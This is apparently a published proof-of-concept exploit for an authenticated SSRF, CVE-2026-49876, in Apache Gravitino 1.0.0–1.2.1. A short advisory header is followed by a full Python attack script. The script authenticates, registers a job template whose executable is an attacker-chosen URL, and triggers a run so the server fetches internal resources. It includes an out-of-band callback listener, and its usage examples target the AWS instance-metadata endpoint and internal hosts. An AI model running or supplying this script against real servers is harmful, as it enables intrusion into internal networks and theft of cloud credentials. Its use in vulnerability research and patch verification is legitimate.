# Exploit Title: Apache Gravitino 1.2.1 - SSRF
# Google Dork: N/A
# Date: 2026-07-13
# Exploit Author: Ajay Rajpurohit
# Vendor Homepage: https://gravitino.apache.org/
# Software Link: https://github.com/apache/gravitino
# Version: 1.0.0 - 1.2.1
# Tested on: Ubuntu 22.04 LTS
# CVE: CVE-2026-49876
#
# Description:
# A Server-Side Request Forgery (SSRF) vulnerability exists in Apache Gravitino
# versions 1.0.0 through 1.2.1. The fetchFileFromUri() method in
# JobManager.java processes URIs from job template fields (executable, scripts,
# jars, files, archives) without validating the destination. It accepts http,
# https, and ftp schemes and downloads remote content to the server's staging
# directory via FileUtils.copyURLToFile().
#
# An authenticated attacker can:
# • Register a job template with an internal/metadata URL as the executable
# • Trigger a job run, forcing the server to fetch the URL
# • Read the downloaded content from the staging directory (if accessible)
# • Use OOB callbacks for blind SSRF detection
#
# References:
# CVE Record: https://nvd.nist.gov/vuln/detail/CVE-2026-49876
# Apache Advisory: https://lists.apache.org/thread/gravitino-ssrf-advisory
# Fixing Commit: https://github.com/apache/gravitino/commit/<commit-hash>
#
# --- Reproducibility ---
#
# Prerequisites:
# 1. Apache Gravitino 1.0.0 - 1.2.1 running (default port 8090)
# 2. A valid Gravitino user account (any role with job template privileges)
# 3. Python 3.8+ with `requests` library (pip3 install requests)
#
# Setup (if testing locally):
# wget https://dlcdn.apache.org/gravitino/1.2.0/gravitino-1.2.0-bin.tar.gz
# tar xzf gravitino-1.2.0-bin.tar.gz
# cd gravitino-1.2.0-bin
# ./bin/gravitino.sh start
#
# Expected output:
# [+] Authenticated as <user>
# [+] Template 'ssrf-poc-xxxxxx' registered
# [+] Job triggered — SSRF request sent to http://127.0.0.1:8090/configs
# [+] SSRF confirmed — server fetched internal resource
#
# Usage:
# # Direct SSRF — fetch internal config
# python3 gravitino_ssrf.py -t http://127.0.0.1:8090 -u admin -p admin \
# --url http://127.0.0.1:8090/configs
#
# # Cloud metadata (AWS IMDSv1)
# python3 gravitino_ssrf.py -t http://target:8090 -u user -p pass \
# --url http://169.254.169.254/latest/meta-data/
#
# # Blind SSRF with OOB callback server
# python3 gravitino_ssrf.py -t http://target:8090 -u user -p pass \
# --url http://<your-ip>:8888/callback --oob --oob-port 8888
#
# Requirements:
# pip3 install requests
#
import argparse
import base64
import http.server
import json
import random
import socketserver
import string
import sys
import threading
import time
from datetime import datetime
try:
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
except ImportError:
print("[!] Missing dependency. Install: pip3 install requests")
sys.exit(1)
# ─── OOB Callback Server (blind SSRF) ──────────────────────────────────────
class CallbackHandler(http.server.BaseHTTPRequestHandler):
"""Minimal HTTP handler that logs incoming requests for blind SSRF detection."""
received = []
def log_message(self, fmt, *args):
return
def _respond(self, method):
body = b""
cl = int(self.headers.get("Content-Length", 0))
if cl > 0:
body = self.rfile.read(min(cl, 4096))
entry = {
"time": datetime.now().isoformat(),
"method": method,
"path": self.path,
"source": f"{self.client_address[0]}:{self.client_address[1]}",
"user_agent": self.headers.get("User-Agent", ""),
}
CallbackHandler.received.append(entry)
print(f"\n [+] OOB CALLBACK: {method} {self.path} from {entry['source']}")
print(f" User-Agent: {entry['user_agent']}")
self.send_response(200)
self.end_headers()
self.wfile.write(b"OK")
do_GET = lambda s: s._respond("GET")
do_POST = lambda s: s._respond("POST")
do_HEAD = lambda s: s._respond("HEAD")
do_PUT = lambda s: s._respond("PUT")
do_OPTIONS = lambda s: s._respond("OPTIONS")
def start_oob_server(port: int) -> None:
"""Start a background HTTP server on the given port for OOB callbacks."""
server = socketserver.TCPServer(("0.0.0.0", port), CallbackHandler)
server.allow_reuse_address = True
t = threading.Thread(target=server.serve_forever, daemon=True)
t.start()
# ─── Gravitino REST Client ─────────────────────────────────────────────────
class Gravitino:
"""Minimal client for the Gravitino REST API — just enough for the PoC."""
def __init__(self, base_url: str, username: str, password: str,
metalake: str = "metalake", verify: bool = False):
self.base = base_url.rstrip("/")
self.username = username
self.password = password
self.metalake = metalake
self.s = requests.Session()
self.s.verify = verify
def login(self) -> bool:
"""Authenticate via OAuth2 token endpoint; fall back to Basic auth."""
# Try OAuth2
try:
r = self.s.post(
f"{self.base}/oauth2/token",
data={
"grant_type": "password",
"username": self.username,
"password": self.password,
"client_id": "gravitino_client",
"scope": "all",
},
headers={"Content-Type": "application/x-www-form-urlencoded"},
timeout=15,
)
if r.status_code == 200:
token = r.json().get("access_token")
if token:
self.s.headers["Authorization"] = f"Bearer {token}"
print(f"[+] Authenticated via OAuth2 token")
return True
except Exception:
pass
# Fallback: Basic auth
creds = base64.b64encode(f"{self.username}:{self.password}".encode()).decode()
self.s.headers["Authorization"] = f"Basic {creds}"
try:
r = self.s.get(f"{self.base}/api/version", timeout=10)
if r.status_code == 200:
print(f"[+] Authenticated via Basic auth")
return True
except Exception:
pass
print("[!] Authentication failed. Provide valid credentials (-u / -p).")
return False
def ensure_metalake(self) -> bool:
"""Create the metalake if it doesn't exist."""
try:
r = self.s.get(f"{self.base}/api/metalakes/{self.metalake}", timeout=10)
if r.status_code == 200:
return True
except Exception:
pass
try:
r = self.s.post(f"{self.base}/api/metalakes",
json={"name": self.metalake, "comment": "", "properties": {}},
timeout=10)
if r.status_code in (200, 201, 409):
return True
except Exception:
pass
# Proceed anyway — metalake may already exist under a different name
return True
def trigger_ssrf(self, ssrf_url: str) -> bool:
"""Register a job template with the SSRF URL and trigger execution."""
name = "ssrf-poc-" + "".join(random.choices(string.ascii_lowercase, k=6))
print(f"[*] Registering template '{name}' with URL: {ssrf_url}")
# Step 1: Register template
template = {
"name": name,
"jobType": "shell",
"executable": ssrf_url,
"arguments": [],
}
try:
r = self.s.post(
f"{self.base}/api/metalakes/{self.metalake}/jobs/templates",
json={"jobTemplate": template},
timeout=15,
)
if r.status_code not in (200, 201):
print(f"[!] Template registration failed: {r.status_code} {r.text[:200]}")
return False
except requests.RequestException as e:
print(f"[!] Registration error: {e}")
return False
time.sleep(0.5)
# Step 2: Trigger job run
print(f"[*] Triggering job run...")
try:
r = self.s.post(
f"{self.base}/api/metalakes/{self.metalake}/jobs/runs",
json={"jobTemplateName": name},
timeout=15,
)
try:
body = r.json() if r.text else {}
except ValueError:
body = {}
if r.status_code == 200 and body.get("code") == 0:
print(f"[+] Job triggered — SSRF request sent")
return True
else:
# Even on some errors, the SSRF may have fired
print(f"[*] Response: {r.status_code} {r.text[:200]}")
return r.status_code == 200
except requests.RequestException as e:
print(f"[!] Trigger error: {e}")
return False
# ─── Main ──────────────────────────────────────────────────────────────────
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-49876 — Apache Gravitino 1.0.0-1.2.1 Authenticated SSRF",
epilog="""
Examples:
%(prog)s -t http://127.0.0.1:8090 -u admin -p admin --url http://127.0.0.1:8090/configs
%(prog)s -t http://target:8090 -u user -p pass --url http://169.254.169.254/latest/meta-data/
%(prog)s -t http://target:8090 -u user -p pass --url http://10.0.0.5:8080/ --oob --oob-port 8888
""",
formatter_class=argparse.RawDescriptionHelpFormatter,
)
parser.add_argument("-t", "--target", required=True,
help="Gravitino server (e.g. http://127.0.0.1:8090)")
parser.add_argument("-u", "--username", required=True, help="Username")
parser.add_argument("-p", "--password", required=True, help="Password")
parser.add_argument("--url", required=True,
help="SSRF target URL to fetch (e.g. http://169.254.169.254/latest/meta-data/)")
parser.add_argument("--metalake", default="metalake", help="Metalake name (default: metalake)")
parser.add_argument("--oob", action="store_true",
help="Start OOB callback server for blind SSRF detection")
parser.add_argument("--oob-port", type=int, default=8888,
help="Port for OOB callback server (default: 8888)")
parser.add_argument("--oob-wait", type=int, default=15,
help="Seconds to wait for OOB callbacks (default: 15)")
parser.add_argument("--proxy", default=None, help="HTTP proxy (e.g. http://127.0.0.1:8080)")
args = parser.parse_args()
print(f"\n[*] CVE-2026-49876 — Apache Gravitino Authenticated SSRF")
print(f"[*] Target: {args.target}")
print(f"[*] SSRF URL: {args.url}\n")
# Proxy
if args.proxy:
import os
os.environ["HTTP_PROXY"] = args.proxy
os.environ["HTTPS_PROXY"] = args.proxy
# OOB callback server
if args.oob:
start_oob_server(args.oob_port)
print(f"[*] OOB callback server listening on port {args.oob_port}")
# Auth
g = Gravitino(args.target, args.username, args.password, args.metalake)
if not g.login():
sys.exit(1)
# Ensure metalake
g.ensure_metalake()
# Exploit
success = g.trigger_ssrf(args.url)
# Wait for OOB callbacks
if args.oob:
print(f"[*] Waiting {args.oob_wait}s for OOB callbacks...")
time.sleep(args.oob_wait)
if CallbackHandler.received:
print(f"\n[+] Received {len(CallbackHandler.received)} OOB callback(s) — SSRF confirmed")
for cb in CallbackHandler.received:
print(f" {cb['method']} {cb['path']} from {cb['source']}")
else:
print(f"\n[-] No OOB callbacks received (server may not allow outbound HTTP)")
# Summary
print(f"\n{'='*50}")
print(f"{'[+] SSRF successful' if success else '[-] SSRF attempt failed'}")
print(f"{'='*50}\n")
sys.exit(0 if success else 1)
if __name__ == "__main__":
main()